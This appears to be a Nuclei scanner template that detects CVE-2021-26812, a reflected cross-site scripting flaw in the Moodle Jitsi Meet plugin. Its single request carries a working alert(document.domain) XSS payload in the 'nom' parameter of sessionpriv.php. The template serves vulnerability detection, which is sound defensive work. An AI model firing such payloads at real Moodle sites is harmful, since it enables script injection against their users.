40 lines
1.2 KiB
YAML
40 lines
1.2 KiB
YAML
id: CVE-2021-26812
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info:
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name: Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting
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author: aceseven (digisec360)
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severity: medium
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description: Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.
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reference:
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- https://github.com/udima-university/moodle-mod_jitsi/issues/67
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- https://nvd.nist.gov/vuln/detail/CVE-2021-26812
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-26812
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cwe-id: CWE-79
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tags: cve,cve2021,moodle,jitsi,xss,plugin
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "alert(document.domain);"
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- type: status
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status:
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- 200
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- type: word
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part: header
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words:
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- "MoodleSession"
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# Enhanced by mp on 2022/08/28
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